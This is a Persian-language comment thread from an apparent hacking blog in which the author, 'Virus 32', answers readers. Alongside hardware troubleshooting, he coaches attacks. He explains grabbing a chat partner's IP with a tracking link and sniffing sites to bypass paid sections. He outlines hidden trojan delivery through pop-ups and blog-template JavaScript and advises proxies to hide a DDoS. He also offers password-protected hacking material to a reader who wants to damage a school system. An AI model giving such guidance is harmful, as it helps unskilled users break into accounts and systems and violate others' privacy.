  • کمکم کنید جناب ویروس
  • سلام داش من سیستم بکلی هنگ میکنه وری استارت میخوره ویندوزم سون هست عوضم کردم ولی همون مشکلو داره تروخدا کمکم کن اعصابم دیگه داره خورد میشه روزی
    17بارقفل میکنه تازه وروسیم نداره با همه انتی ویروساسنجیدم دیگه مخم راه نمیده چیکارش کنم
    Virus 32 :
    سلام
    با این چیزایی که گفتین احتمالا مشکلتون سخت افزاریه
    من احتمال میدم یا رم یا کابل هاردتون مشکل داره
    اگه از دوتا رم استفاده میکنید یکی شو بردارین
    کیس صدایی نداره؟ شاید هم بورد اصلی به کیس درست متصل نشده و ...
    شاید هم محیط ستاپ دستکاری شده
    کارهایی که بالا گفتم رو تست کنید اگه جواب نداد مدل بورد اصلی (مادربورد) رو بهم بگین
    سلام داداش ویروس خسه نباشی دلاور
    اقا دوتاسوال دارم
    1=>اول میخام هک یادبگیرم میدونم پایه اش برنامه نویسی هست.اچ تی ام ال را بلدم حالا چیکارکنم که یه هکر بشم نه معمولی کسی که ازپایه بلده
    2=>سوال دومم اینکه اون دیفیس سیستم که ساختی میتونم تغییرش هم بدم؟مث دیفیس سایت هاووبلاگ هایی که گذاشتی.
    مرسی که همیشه به سوالاتم(هرچند مسخره)جواب دادی لایک داری به مولا.
    راسی اون ویروس ام اس و چندتای دیگه که گذاشته بودیا من دانلودش کردم ولی فایل زیپ بود و رمز داشت رمزش چنده 32نبود ادرس سایتت هم نبود!!!!! :(
    Virus 32 :
    سلام حامد جان عزیزی
    اچ تی ام ال رو یاد گرفتی حالا پی اچ پی و جاوا رو زود میتونی یاد بگیری اینارو یاد بگیری میتونی یه کارایی انجام بدی
    اچ تی ام ال زبان ساده تر نسبت به بقیه است باهاش نمیشه به اون صورت هک کرد ولی میشه یسری ترفندها رو باهاش انجام داد
    تو فروم های ثبت نام و هر صفحه ای که با اچ تی ام ال نوشته شده میشه یه دستکاری هایی کرد  و یا میتونی باهاش فیک پیج طراحی کنی و خیلی کار دیگه...
    در مورد سوال دومت نمیشه دست کاری کرد ولی من اینارو قرار دادم تا براتون یسری نمونه باشه چون قراره در آینده ساختن اینهارو هم به زبان ساده یاد بدم. اونها برای آماده گی ذهنتون بود.
    اون ویروس هارو من قرار ندادم دوست عزیزم Revenger_32 بدون هماهنگی گذاشته بود که من پاکشون کردم بهتره از اونها استفاده نکنی چون یکی شو من نوشتم و دوست ندارم دیگه پخش شه
  • Virus32
  • محمد(کمکم کنید جناب ویروس)
  • سلام داش خیلی مردی ببین کارت درسته من هرجا میبرم میگن مشکلی نداره چرا وقتی روشنش میکنم صدا میده ازکجا اینارو حدس میزنی حیف این استعداد نیست واقعا قبته میخورم خوش به حالت سرتو درد نیارم ببین دشب کیسمو بردم خدمات رایانه ای اونجا نه قفل کرد نه هیچی خلاصه صدام نداد
    وقتی آوردمش خونه روشنش کردم صدا داد اصولن وقتی مرورگرموزیلارو بازمیکنم اینجوری میشه ببین هیچ علامتیم نداره درحین کاریهو قفل میکنه بعد شکلک موس توصفحه حالت شطرنجی پیدا میکنه (مثل چندنقطه ازهم جدا مشه تیکه تیکه میشه ) چرا رم من 2 هست گرافیکم 1 سی پی یو ..

    3.06ghz 3.08

    ویندوزم 32بیتی هست
    راستی مدل مادربوردو ازکجا بفهمم ویندوزمم سون هست
    ایدی یاهو منه اگر میشه اینجا بهم بگو وکمکم کن ممنون میشم
    MR_TAK_BOY من ادت کردم توهم ادم کن خواهش میکنم کمکم کن

    راستی میگم نکنه هک شده باشم بعد ویروس تزریق کرده باشن به سیستمم چون سیستم گاهی وقتا خودشم ری استارت میخوره
    اینم وبلاگمه WWW.TAKPESAR18.LXB.IRاگه یاهو نبودم اینجا بهم بگو
    Virus 32 :
    سلام محمد جان عزیزی
    اگه یکی از رم هارو هم در آورده باشی فقط دوتا احتمال باقی میمونه که احتمالا از دومیش تعجب میکنی.
    اولی اینکه مادربورد بطور کامل روی کیس سوار نشده
    یعنی همه قسمت هاش به دیواره کیس وصل نیست
    بیشتر مادر بوردها با شش یا چهار تا پیچ یا گیره های پلاستیکی روی کیس قرار میگیرن
    کیس رو باز کن ببین مادربورد محکم و ثابت روی کیس نصب هست یا نه؟
    اگه نمیدونی مادربورد چیه تو گوگل جستوجو کن عکسش رو هم نشون میده. مدل مادربرد هم روش نوشته شده. از باز کردن کیس هم هیچوقت نترس!!!
    دلیل دوم اینه که برق اتاقت مشکل داره
    یا کابل سه راهی یا محافظی که ازش استفاده میکنی
    این یه مشکل مهمی هست که خیلی ها زیاد بهش اهمیت نمیدن که در آخر باعث میشه کل سیستم بسوزه
    محافظ رو عوض کن یا سیستمت رو ببر تو ی اتاق دیگه تست کن. هشتاد درصد احتمال میدم مشکل از برق و برق رسانیه ;)

    سلام داشم
    اموزش تگ های برنامه نویسی

    و یا
    و......
    خودت بهتر از من میدونی که چ چیز هایی هست
    Virus 32 :
    فکر خوبیه باشه
    سلام استاد ویروس32 میشه یک مطلب بزارید برای سوزاندن مودم و cpu را خیلی ممنون میشم
    و از سایت خوبتون واقعا ممنون هستم
    همیشه موفق پیروز باشید
    Virus 32 :
    سلام نیما جان
    این پست رو بخون
    سلامممممممممممممممممممممممممممممم داداش ویروس
    اقا من به سایتhttp://whatismyipaddress.com/(البته سایت های دیگه هم همینطور) رفتم واسه گرفتن ایپی ام.
    اطلاعات منو اشتباه نشون میده.ایپی من مثلاxxx.xxx.xxxهست وقتیLoke up Ip Addressمیزنم من شهرم ابادانه میزنه اهواز جالبه گاهی اوقات ایپیم خود به خود از رنج عوض میشه وباز برمیگرده به حالت اولش.
    مثلا الان رنج ام83.147هست یدفه میشه 125.25(البته از رنج)نت ام کافونوری هست.
    میخام ایپی اصلیمو ببینم (همون که میگن از سرور هست وبرای هک استفاده میشه و.....)مهم نیس ازچه روشی سی ام دی گوگل و................
    هرچی باشه
    ایرانی همیشه سرافراز...........=>بازم مث همیشه ممنونتم
    Virus 32 :
    سلام حامد جان
    گوگل معتبر ترین سایت برای دیدن آی پی اصلی ته
    تو گوگل بنویس my ip
    رنجت همون 83.147 هست درباره اینکه یدفعه عوض میشه نمیدونم چی میشه اینجوری میشه :)
    ولی با همین آی پی که این رنج رو داره میشه بهت اتک زد
    سلام خداقوتـــــــــــــــــــــــ♥ـــــ
    ی سوال میخام که فایل زیپ وفایل رار که رمز دارند رو باز کنم.
    هربرنامه ایی بگی دانلودکردم ولی نشد که نشد.توگوگل سرچ ردم چرند بودن تووب خودت هم به برنامه بود دست ساز درست کرده بودی،بااون هم نتونستم راستش.
    اگه ممکنه یه روش بگو بم که بتونم باز کنم واقا ضروریه واسم.
    Virus 32 :
    سلام ممنون
    من فقط همون یه روش رو بلد بودم
    بازم پرس وجو میکنم اگه روش بهتری پیدا کنم حتما قرار میدم
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    با سلام

    اگه میشه لطفا کار با این سایت هم آموزش بدید (*****************)
    کار راحتی هست ولی چون برای هر مودم خیلی زیاد تنوع کار داره گیج میشم

    با تشکر
    سلام بازم من اومدم
    عاقا در مورد کالی چار تا چیز بزار همه جا بک ترک هست اما کالی همه خارجی ان :(
    Virus 32 :
    سلام عزیز
    عاغا فعلا نمیرسم کامنت تایید کنم چه برسه پست گذاشتن !!!
  • Virus32
  • محمد(جناب ویروس کمک کنید)
  • سلام یعنی چی ببین داش من اصلا محافظ ندارم برای سیستمم یه محافظ توخونمون هست اونم برای تلویزیونه وسلام برق اتاقم وصله راسی یه مشل دیگم دارم سرعت نتم خیلی کمه خیلی کمه ها زنگ میزنم سامانش میگه مشکلی نداری مخابرات رفتم میگن مشکلی نداره اومدن نگاه کردن دوستام میگن نت خوبه من نتم خیلی بده راهی هست میشه بگی چیکارکنم این سامانه ها میگن برو تو سایت اسپید تست نمیدونم snrمودمو بگو خلاصه هرکاری کردم نشد ماهی 70تا80تومن دارم میرزم تو حلق نت ولی لذتی ندارم از این نت راسی من از وقت که دست زدم رو یکی ازقسمت های کیسم میگفتن اگر گرم بشه باس عوض بشه اینا بعد وقتی روش دست زدم یکم رفت پایین ازاون روز خیلی بهتر شده هرزو میشه بهتر میشه خلاصه هرکسی یه چیزی میگه مرورگر موزیلام که بازمیکنم 5مین بعدش قفل میکنه نمیدونم حالا چه حساسیتی رو این موزیلا داره درعجبم
    Virus 32 :
    سلام
    راستش من هرچی میدونستم توضیح دادم
    دیگه خودت میدونی چیکارش کنی
    همونطور که گفتم اگه سیستم برق رسانی سالم نباشه سیستم خانگی شما که هیچ ابر رایانه هم باشه هنگ میکنه
    تجربه کردم که میگم
    سلام دوستان امروز واستون اموزش جدید دارم
    ورود به فیسبوک بدون فیلترشکن
    خب شروع میکنیم
    اول یه پوشه با نام facebook میسازین سپس روش راست کلیلک . گزینه open رو میزنین
    تبریک میگم
    شما وارد فیسبوک شدین
    ممنون نیازی به تشویق نیست من متعلق به همه شمام
    به زودی اموزشای جدیدتر هم میارم :))))
    Virus 32 :
    خخخخخخخخخخ
    وااااااااااااایی ممنون استاد
     چشم و دلمون رو روشن کردی
     عجب سرعتی عجب کیفیتی مرسی D:

    سلام عاشق وبلاکتم واقعا دمت گرم اگه میشه اموزش هک لاین هم بزارید
    سلام داداش من خیلی چیزا از هک یاد گرفتم همشو مدیون تو هستم داداش اگه میشه بگین چجوری تیلیغات وبلاگم رو حذف مثل وبلاگ شما اگه بگی ممنونت میشم داداشی. فدایی داری به مولا داداش
    Virus 32 :
    برات ایمیل میکنم
    سلام.لطفا بگو ایمیلو میشه با نرم افزار هک کرد اگه هست لطفا لینک نرم افزارو بفرست ایمیلم /
    دعات میکنم
    Virus 32 :
    سلام
    تو همین وبلاگ یه دوری بزنی پیداش میکنی
    سلام ویروس جان من زبان C++ رو بلدم ، کمکی میکنه برای هک ؟
    Virus 32 :
    سلام عزیز
    این زبان خوراک هک و امنیت و هرچی که فکر کنیه D:
    من میخوام سیستم عامل لینوکس نصب کنم ، به نظرت کدوم رو دانلود کنم ؟؟
    Virus 32 :
    بک ترک
    اونم ورژن پنجش
    عشقمه ♥
    سلام. یه سؤال داشتم میشه جیمیل و اینستاگرام وwifi رو هک کرد اگه میشه اموزش بدین
    لطفا اگه میشه هک واى فاى و جیمیل رو اموزش بدین با تشکر
    Virus 32 :
    پست هارو خوب بخونید این آموزش هارو پیدا میکنید اینارو خیلی وقت پیش قرار دادم :|
    سلام ویروس32

    میخواستم ببینم هکی که در این صفحه( http://project2download.ir/853/%D9%87%DA%A9-%D9%88%D8%A7%DB%8C-%D9%81%D8%A7%DB%8C-%D9%BE%D8%B3%D9%88%D8%B1%D8%AF-%D9%86%D8%B3%D8%AE%D9%87-%D8%AC%D8%AF%DB%8C%D8%AF.html ) هست همون هایی هست که شما یاد دادین؟
    یه سوال دیگه اینکه راهی برای دور زدن سایت هایی که برای دانلود باید در بخش های VIP ثبت نام کرد هست ؟اگه هست لطفا آموزش بدین.

    ممنون از این وب عالییی...
    Virus 32 :
    سلام
    آره
    چند تا روش برای دور زدن پست های ویژه وجود داره که بسته به ساختار سایت و پست ها روش ها فرق میکنه
    یکم سرم خلوت بشه آموزش هارو میزارم
    برای اینکه فعلا دست خالی نمونی :
    سایت رو اسکن کن و تمام لینک هاشو بدست بیار بعد خوب دقت کن ببین کدوم لینکا به درد خورن
    سعی کن دنبال index سایت باشی
    با لایو دنبال لینک هایی که با سایت تبادل اطلاعات میکنن باش
    سایت رو اسنیف کن
    در آخر هم صبور باش داداشت مشکلش حل شه برگرده :(
    سلام خوبید؟
    سایتتون خیلی عالیه حتما با من تماس بگیر
    شما اصالتا کجایی هستید؟
    Virus 32 :
    سلام ممنون
    گنبدی ام
    ولی تو شهر شما هم زیاد بودم :)
    سلام وخسته نباشی.
    ی سوال.میخام بدونم چطوری میتونم از ریجستری ویندوز ام بک اپ تهیه کنم و در صورتی که خاستم جایگزین کنم بک اپ رو چطوری میتونم این کارو کنم؟
    توگوگل سرچ کردم برنامه زیادی بود ولی نتونسم باشون کار کنم
    ممنون
    Virus 32 :
    سلام ممنون
    نیاز به برنامه خاصی نیست
    تو همون ریجستری بر روی File کلیک کن
    گزینه Export برای بک آپ گیری و گزینه Import برای جایگزینی بک آپ هستش
    سلام خسته نباشی
    ی سوال
    میخام ببینم چطور میشه وقتی یکی تویاهومسنجره یا تویه چترومه میتونم ایپیشو بردارم
    خیلی تحقیق کردم گوگل همشون یمشتی اراجیف بود چیزی دست گیرم نشد
    ممنون مث همیشه جوابمو میدی
    Virus 32 :
    سلام ممنون
    برای به دست آوردن آی پی دیگران در چت روم ها یا بصورت مستقیم ابتدا باید سیستمت آماده دریافت دستورات باشه
    به کمک دستور netstat -a  میشه آی پی تمام سیستم هایی که با اونها در ارتباط هستی رو بدست آورد
    ولی یه راه ساده تر برای بدست آوردن آی پی افراد در یاهو اینه که از این سایت کمک بگیری
    لینکی که در وسط این صفحه وجود داره رو کپی کن و برای کسی که میخوایی آی پی شو بدست بیاری ارسال کن (تویاهو)
    بعد سریع برگرد به همون سایت و روی get ip کلیک کن تا آی پی خودت و آی پی طرف رو نشون بده
    توی همین وبلاگ هم یکم جستوجو کنی یسری برنامه برای بدست آوردن آی پی وجود داره
    سلام داداش من میخوام سیستم مدرسه رو هک کنم اگه امکان داره برام کامل و به صورت ریز آموزش بدی اگه بشه برا ایمیلم ارسال بشه که فدات میشم .هر روش که ساده و راحت باشه .فقط میخوام کمی خرابشون کنم .ببینم چه میکنی دمت گرم منتظرتم
    Virus 32 :
    سلام
    درگیر مشکل خیلی بدی هستم عزیز فعلا وقت نمیکنم
    رمز مطالب رو ارسال میکنم بعضی از پست ها مربوط به هکینگ شبکه است میتونی از اونا کمک بگیری
    سلام راستی من وای فای رو با آندروید هک میکنم ولی یه رمز میده که اون نیست یه رمز خیلی عجیب میتونی کمکم کنی با آندروید
    Virus 32 :
    سلام
    از هکینگ گوشی سر رشته ندارم :(
    سلام دوست من .میگن اگه لپ تاپ یا گوشی دزدی بخری زود گیر میای .اونم به کمک آی پی اونم اگه به نت وصل بشی .میگن میشه اون آی پی رو تغییر داد .اگه میشه کمکم کنید خیلی خیلی گیرم .فدات
    راستی اون آی پی چیه؟از کجا میتونیم ببینیمش
    Virus 32 :
    سلام
    شما ابتدا بهتره یه نگاهی به این پست بندازین
    اون آی پی همون مک آدرسه که روی یک تراشه درون مودم ها قرار میگیره.
    که یا باید مودم رو عوض کنی یا اون تراشه رو
    تو گوشی ها که معمولا میگن عوض کردن سریال همون تراشه عوض میشه
    ولی برای سیستم ها بهتره مودم عوض شه
    سلام داداش تونستی یه پست برای آموزش برنامه نویسی بزار
    یه برنامه نویسی ساده اما کاربردی
    Virus 32 :
    سلام
    خودت یه برنامه ساده و کاربردی پیشنهاد بده
    و اینکه به چه زبانی نوشته شه؟
    در اولین فرصت کامل توضیح میدم
    سلام.
    لطفا اگه میشه آموزش بدین که چهجوری میشه بعد از ویروسی کردن pc دیفنس رو قرار داد؟؟؟
    Virus 32 :
    سلام
    برای اینکار کافیه یه تیکه کد برای غیر فعال کردن کیبورد و اجرای صفحه دیفیس نوشته بشه که به هر زبان برنامه نویسی میشه خیلی ساده نوشت
    بطور مفصل و به چند زبان درباره این تکه کدها بحث خواهیم کرد
    سلام دادا

    نرم افزار کرک شده ی email hacker رو نداری اگه داری بفرست
    داداش میشه یک برنامه معرفی کنی + اموزشش که بشه مثلا در برنامه چت avacs live chat یه فایلی بسازه که ای دی رو هک کرد؟ یعنی مثلا فقط این فایل جاسوس به قسمت پسورد برنامه بره و اونو بهمون بده.اگه میشه لطف کن و اموزشش بزاری ممنونت میشم. در ضمن این برنامه و چت اون کاملا خارجیه و حتی الان فک کنم قراره فیلتر هم بشه.
    داداش هک سایت اگه ممکنه .
    بعد اگه فرست شد نفوذ به سیستم
    سلام داداش اگه میشه لطفا اموزش هک وبلاگ رو هم اموزش بده .
    ممنون میشم اگه اموزش بدی
  • Virus32
  • افشار فتحی
  • سلام رمز هک ویندوز اکس پی 7 و 8 را میخوام
  • Virus32
  • افشار فتحی
  • سلام
    میشه کدی بنویسین که باهاش رم سیستم را پر کرد که سیستم سنگین شه و برنامه ای را به سختی اجرا کنه و فایلش و قتی اجرا میشه ویزبل آن فالس باشه...در ضمن اینکار با bat فایل نوشته شه
    Virus 32 :
    سلام
    چند تا از این کدها رو قبلا قرار دادم
    به پست ها بیشتر دقت کنید
    سلام.داداش این رمزو چی کار کنم ایمیلمو دادم.اگه قراره برام بفرستی،هنوز نفرستادی.چی کار کنم؟
    Virus 32 :
    ارسال شد
    سلام یه در خواست کوچیک دارم .چه طور تو نظرات لینک میزاری
    درود ...
    میخاستم این ویروسی رو که گذاشتی صفحه پی سی رو یف میکنه

    کد اون رو قرار بدی و بگی که از کجا میشه اون نوشته ها رو تغیر داد یا

    شکلک انداخت رو ویروس

    و چطوری یه ویروس بهش اضافه کینم که کیبورد قفل کنه !

    با تشکر

    Virus 32 :
    درود
    تو متن هم گفتم قراره کاملش کنم و اینکه به هر زبانی میشه نوشتشون
    شما بگین با چه زبان برنامه نویسی راحت ترین من برای همون زبان سورس هاشو آماده کنم
    البته خودم قراره یه پست کامل درباره اش بزارم که به زبان سی نوشته شده
    chtori ozv besham???
    Virus 32 :
    عضو گیری ندارم
    سلام لطفا کمکم کنید. یکی جمیل منو هک کرد من رمزو ازش گرفتم با بد بختی الان همش میترسم دوباره رمزمو غوض کنه کاری هس که انجام بدم دیگه هک نشم ؟ اگه هست لطفا راهنمایی کنید.
    داداش باعث افتخارمه عیزی
    من می خئام بدونم چجوری میشه با ممنوع کردن کلیک راست اگه کسی می خواست کلیک راست کنه مثلا shift رو نگه داشت تا کلیک راست کنه به سیستمش ویروس یا تروجان ارسال کنیم ازت خیلی ممنون میشم به خدا باعث افتخترمه که با تد دارم صحبت میکنم
    Virus 32 :
    سلام عزیز ممنون
    اون بحث آپلود و دانلود اتوماتیک یا مخفیه که یکم طولانیه
    در فرصت مناسب قراره توضیحش بدم یکم صبور باشید
    برای اینکه فعلا دست خالی نمونی یه توضیح کلی میدم تا خودت بتونی درباره اش تحقیق کنی
    تو پست کیلاگر وب ، ساختن صفحه مناسب برای پاپ آپ رو کار کردیم
    به کمک اون صفحه ها (یعنی پاپ آپ ها) میتونیم دستوراتی با جاوا یا پی اچ پی بنویسیم تا آپلود و دانلود مخفی صورت بگیره
    روش دیگه هم قرار دادن کدهای جاوا در قالب وبلاگ یا سایته که از نظر برنامه نویسی این روش پیشنهاد نمیشه ولی کارایی داره
    باسلام سایت هک سایت رومیخوام یادبگیرم
    ازکجابفهمم سایت چه باگی داره که ازاون استفاده کنم و رمزمطالبی که میداریوچطوربگیرمشون
    سلام میشه اموزش استفاده از اوارد کیلاگر رو بزارید
    سلام داداش خوبی؟خوشی؟ به نظر من رو ترفند متمرکز بشی بهتره مخصوصا ترفند چت روم...خیلیم طرفدار داره یکم توجه کنید
    Virus 32 :
    سلام ممنون
    راستش وقت نمیشه به چت رومی سر بزنم و آنالیزش کنم :(
    ویروس جون خود ت این درجه مهمون رو یکاریش کن به خدا خسته شدم بس به همه رو انداختم ولی نشد...هزینشم میپردازم...امکانش هست یا برم دنبل یکی دیگه بگردم داداش؟؟؟
    Virus 32 :
    دوست خوبم من برای یه مدت خیلی کوتاهی اینجا هستم
    باور کن اگه وقتش رو داشتم بدون هیچ بحثی آموزشش رو موبه مو اینجا قرار میدادم تا همه استفاده کنن
    ولی فعلا تو شرایط خیلی بدی هستم
    ویروس خان نمیخوای ج مارو بدی بی معرفت؟؟؟من پسمل به این گلی دلت میاد اخه؟؟؟داداش میگم راهی وجود داره که ای پیمون رو در برابر سایت مخفی کنیم؟؟؟یعنی تو هر سایتی رفتیم ای پیمون نیفته...من نمونش دیدما قبلا مدیر چت روم بودم یه پسره ای بود میامد تو چت ای پی نداشت اسمش نمیشد اخراجشم کرد تازه نمیدونستی کیه بی هویت میموند
    Virus 32 :
    ببخشید داشی حواسم نبوده
    آخه این آموزش ها رو تو پست های قبلی گفته بودم و درباره اش هم کلی بحث داشتیم
    با موتور یه دور تو وبلاگ بزنیا زود پیداشون میکنی ;)
    سلام من ی مشکل تو اندرو رت دارم ی ارور میده لینکشا دادم ممنون میشم نگاه کنید و کمکم کنید
    Virus 32 :
    سلام
    لینک ها ثبت نشدن
    از ارور عکس بگیر لینک تصویر رو بفرست
    دادا سلاممممم

    لطفا آموزش بدست آوردن password و user ای دی اس ال رو هم بزارید...دوستم نرم افزار شو داره ولی نمیده!!!
    Virus 32 :
    سلام عزیز
    این آموزش تو وبلاگ وجود داره یه دور تو وب بزن
    چشم داداش بذار یه دور بزن تو وبلاگ بینم پیداش میکنم یا نه ولی ماشالله هزار ماشالله وبلاگت اینقدر شلوغه باید با جت توش دور بزنی خخخ والا به مولا...ححح
    Virus 32 :
    :)
    داداش خواهش میکنم این ترفتد حرف زدن با درجه مهمون رو بذار خداوکیلی تو هر سایتی میری از ایده ها و ترفندای دیگران نوشتن که اینام قدیمی شده...ولی من میدونم تو یه هکر واقعی پشمکی نیستی خدا شاهده...از وبلاگت معلومه...داداش ترو به جون هرکی دوس داری..یکاریش کن..میگی وضعیتت خوب نیست؟خوب کی میتونی بذاری تا من منتظر بمونم...باور کن خیلی مهمه
    Virus 32 :
    سعیمو میکنم
    سلام..داداش میشه حداقل یه وبلاگی یه سایتی بهم معرفی کنی که بتونه کمکم کنه حالا که خودتون وقت نداری؟ به همون قران قسم خیلی مهمه
    Virus 32 :
    سلام
    سراغ ندارم
    سلام.میشه اموزش هک اینستاگرام هم بزاری؟مرسی سایتت عالی
    ای ول داداش ویروس دمت گرم داداش مردییییییی مرسی از لطفت سعیتو بکنی میتونی....من منتظر میمونم تا هروقت باشه
    http://s3.picofile.com/file/8197906134/Untitled.png
    لینک ارور
    Virus 32 :
    اینو نمیدونم :(
    بدشانسیه منه :(((((
    کلا هک بهم نیومده
    آموزشای هک و ویروس نویسی و گیلاگر و.......
    درباره اندروید و گوشیم بیزحمت بزار
    Virus 32 :
    اوکی
    ممنون منتظر اموزش های مفید شما هستم
    تا شما اموزشای اندرویدا شروع کنید امکانش هست ی ویروس برای اندروید بهم بدید لطفا
    Virus 32 :
    ندارم
    سلام لطفا بیشتر رو ترفند کار کن..و منم مشتاقم که حرف زدن با درجه مهمان رو یاد بگیرم همینجور که دوستمون تو کلمنت های بلا گفت اگه میشه اموزشش رو بذارین .مننون
    سلام ببخشید زیاد ازتون درخواست دارم
    اسام اس و تماس با شماره جعلی چجوریه؟
    Virus 32 :
    سلام خواهش میکنم
    اونا بیشتر از سامانه های اینترنتی استفاده میکنن
    روش های دیگه ای هم وجود داره مثل دستکاری کردن در اطلاعات رد و بدل شده در سرویس هایی که سامانه ارسال پیامک دارن
    و این که چجوری ی فایل تروجان یا ویروسا اینکیریپت کنم
    Virus 32 :
    هنوز خیلی زوده
    پله پله همه رو آموزش میدم یکی از بدی های این وب اینه که باید صبر داشته باشی
    ممنون من خیلی عجولم
    میشه ترفند تماس جعلبا زودتر اموزش بدید
    داداش خسته نباشی مطالب خوبی داری من با اون روش دامپر و جامپ استات از قبل آشنا بودم الان دارم با اینترنت یکی دیگه حال میکنم فقط میخواستم ببینم که نرم افزار یا روشی برا اندروید نداری که رمز وافای رو باهاش بدست آورد.
    راستی من میخوام تازه برنامه نویسی یاد بگیرم کتاب اینا زیاد دانلود کردم اکثرا خیلی پیچیدن. گفتم اگه میشه خودتون یه کتاب خوب که از صفر شروع کرده باشه سراغ ندارین اگه میشه زبان های برنامه نویسی رو که برا هک استفاده میشه بهم معرفی کنید و کتاب آموزشش رو بهم معرفی کنید.
    عالی هستین. ممنون
    Virus 32 :
    ممنون
    از هکینگ گوشی و اندروید سر رشته کافی ندارم و دنبالش نرفتم تاحالا
    خودم از کتاب یا منبع خاصی کمک نگرفتم با پروژه های اوپن سورس شروع کردم و ...
    کتابها و کلاس ها تا بخوان چیزی یاد بدن اشک آدمو درمیارن
    بازم میگردم اگه کتاب درست و حسابی پیدا کردم حتما اینجا قرار میدم
    سلام ویروس جون یه سوال داشت متو کل اینترنت کشتم اما کرک نرم افزار pika رو نتونستم پیدا کنم می تونی یه کی جن یا کرک براش درست کنی
    Virus 32 :
    سلام
    نه
    سلام ویروس در طوله هفته خیلی کم مطلب میزاری
    روزی صد بار وبلاگتو نگا میکنم ببینم چیزی گذاشتی یا نه!!
    لطفا اگه میتونی ویروس نویسی و نوشتن برنامه های نفوذ رو به زبان سی شارپ توضیح بده
    ممنون
    Virus 32 :
    سلام
    تا جایی که وقت کنم دارم مینویسم عزیز
    یکم گرفتارم
    هک جیمیل واجب میخام
    لطفا اگه وقت هم نداری بذاری یه لینک خوب برا هک جیمیل بده ممنون میشم..
    سلام...دادا این درجه مهمانو وقت نکردی یه نیگاییش کنی؟من تقریبا هرروز چندباری میام ولی خب یکم انگاری سرعت کند شده ها مطلب جدید نمیذاری ایا؟؟؟
    Virus 32 :
    سلام
    نه
    سلام داداش یه اتکر گوشی میخوام دارید ؟
    Virus 32 :
    سلام
    نه
    با سلام

    من از اعضای کعبه تیم جدید هستم

    من به شدت نیاز به ارتباط با شما دارم

    جوکر دوباره برگشته فکر کنم خودتم اینو بدونی

    من واقعا الان بهت نیاز دارم یک مشکل فوق العاده بزرگ برای من پیش اومده
    id skype: antiarabs79
    یا از طریق ایمیلم با من در ارتباط باش من خیلی بهت نیاز دارم

    Virus 32 :
    سلام
    نمیدونم چرا هی از کعبه تیم میان اینجا اینجا چه دخلی به کعبه تیم یا هر تیم دیگه ای داره آخه؟
    من تا الان حتی یه بار نرفتم تو وب شما یا وب گروه های دیگه
    فعلا حوصله هیچ کدوم رو ندارم
    لطفا نچسبید!!!
    من هرجارا که بلد بودم گشتم ولی پیدا نکردم میشه راهنمایی کنید از کجا پیدا کنم اتکر
    سلام ویروسی:)
    نظرت چیه ی پشت بزاری برا sql و قدم به قدم از ساده تا ادمینی توضیح بدی؟یکم از بحث هک داری خارج میشی:(
    من از دورک ها چندتا تارگت خوب پیدا کردم ک تو هویج اسکن کردم خط سبز شد ولی نمیدونم بقیشو چیکار کنم
    تو انجمنا زیاد خوب توضیح ندادن
    Virus 32 :
    باشه فکر خوبیه
    این کامنت رو بایگانی میکنم تا یادم نره
    سلام
    ویروس جان من تمام کامنت های بلاگ نگا کردم چندتا از دوستان هم مشکل منو داشتن اگه میشه هک جیمیل رو بزار خیلی واجبه
    داداش میشه تغیر شماره سریال گوشی رو بذاری...گوشی اندروید
    سلام ویروس جان میشه فیک پیج گیم سنتره اپل رو بزاری ممنون میشم..
    سلام ویروس جون من یه برنامه نویس سی شارپم خیلی دلم میخواد هک رو یاد بگیرم به هرکیم که یه چیزایی بلده کمک خواستم ولی میگه نه یا نمیشه تصمیم گرفتم خودم یاد بگیرم حالا تو اخرین نفری هستی که بهت التماس میکنم میخوام نظرتو بدونم کمکم میکنی یا نه؟ من به وبلاگت خیلی سر میزنم اولین جرقه های هکم اینجا به سرم زده امید وارم که کمکم کنی.
    Virus 32 :
    سلام
    من به هرکی که فکرش مثبت باشه و از این علم در راه دشمنای ایران و تند روها استفاده کنه حاضرم دونسته هامو یاد بدم
    شروع کن هر جا گیر کردی بیا بپرس کمکت میکنم :)
    سلام دو ستان
    جناب ویروس 32
    میخوام به فایل x.bat بگم بیا پسورد سیستم رو چک کن ببین اگر با 123456 برابر هست که هیچ کاری انجام نده و بسته بشو اگر برابر نیست پسورد رو به 123456 تغییر بده و سیستم رو لوگ آف کنه.
    Virus 32 :
    سلام عزیز
    با بت نمیشه پسوورد سیستم رو چک کرد (من بلد نیستم)
    ولی میشه رمز رو هرچی که هست تغییرش داد یا پاکش کرد
    تو پست های قبلی توضیح دادم یه دور تو وب بزن
    سلام ویروس32
    من یه روش میخوام که بشا باهاش اینستاگرام رو هک کنی چون اکانت دوستم هک شده میخوام کمکش کنم برگردا بگزاری ممنونت میشم
    ویروس اگه میشه آموزش انواع راه برای نفوذ به سیستم برامون بزار ممون
    هک سایت
    سلام بر دوست عزیز یه سوالی دارم می خواستم بدون کدی داری یا راهی داری که بتونم برنامه ای بسازم کثل متا اسپلویت لینوکس فقط می خوام ادرس آی پی خودتو وارد و پس از اجرا فایل قربانی ادرسش به ای پی که دادیم ارسال بشه
    می دونم ابزار متا اسپلویت همه این کارها رو میکنه فقط می خواستم قسمت تولید برنامه احرایی قربانی رو خودم درس کنم همین خیلی ممنون می شم اگه منو راهنمایی کنی .
    Virus 32 :
    سلام
    کیلاگرها دقیقا همین کار رو انجام میدن ولی آدرس ایمیل یا آی پی هاست به برنامه داده میشه
    نمیشه بطور مستقیم با سیستم خودت ارتباط برقرار کنه یعنی من اینجوریشو بلد نیستم (تا حالا این کارو نکردم به فکرمم خطور نکرده بود)
    ساخت برنامه برای لینوکس رو یاد ندارم ولی تحت ویندوز یا وب رو اگه بخوایی میتونم کمکت کنم
    صبور باشی قراره بحث ساخت کیلاگر رو ادامه بدم که در ادامه اش قراره به جواب سوالتون برسید
    سلام من میخواستم بدونم میشه وقتی به یه سایتی مثلا حمله DDOS میکنیم تمامی اطلاعات ما در سرور ذخیره میشه
    میخواستم بدونم میشه با ارسال دستوری ان چیز هایی که به سرور رفته(IP و MAC ADRESS ) حذف بشه
    ممنون میشم جواب بدید
    Virus 32 :
    سلام
    بهتره قبل از حمله از پروکسی استفاده کنیم تا اطلاعات غیر واقعی ثبت بشه
    سلام میشه اون برنامه هایی را که برای هک سایت به کمک اسنیفر هست و برام ایمیل کنید هر چی می گردم نیست
    با تشکر
    سلام استاد چجوری میشه ایپی مودم کسیا در بیارم؟
    یک پست درباره دیداس بزارید لطفان و یه دیداسر خوبم معرفی کنید لطفا
    سلام ویروس 32
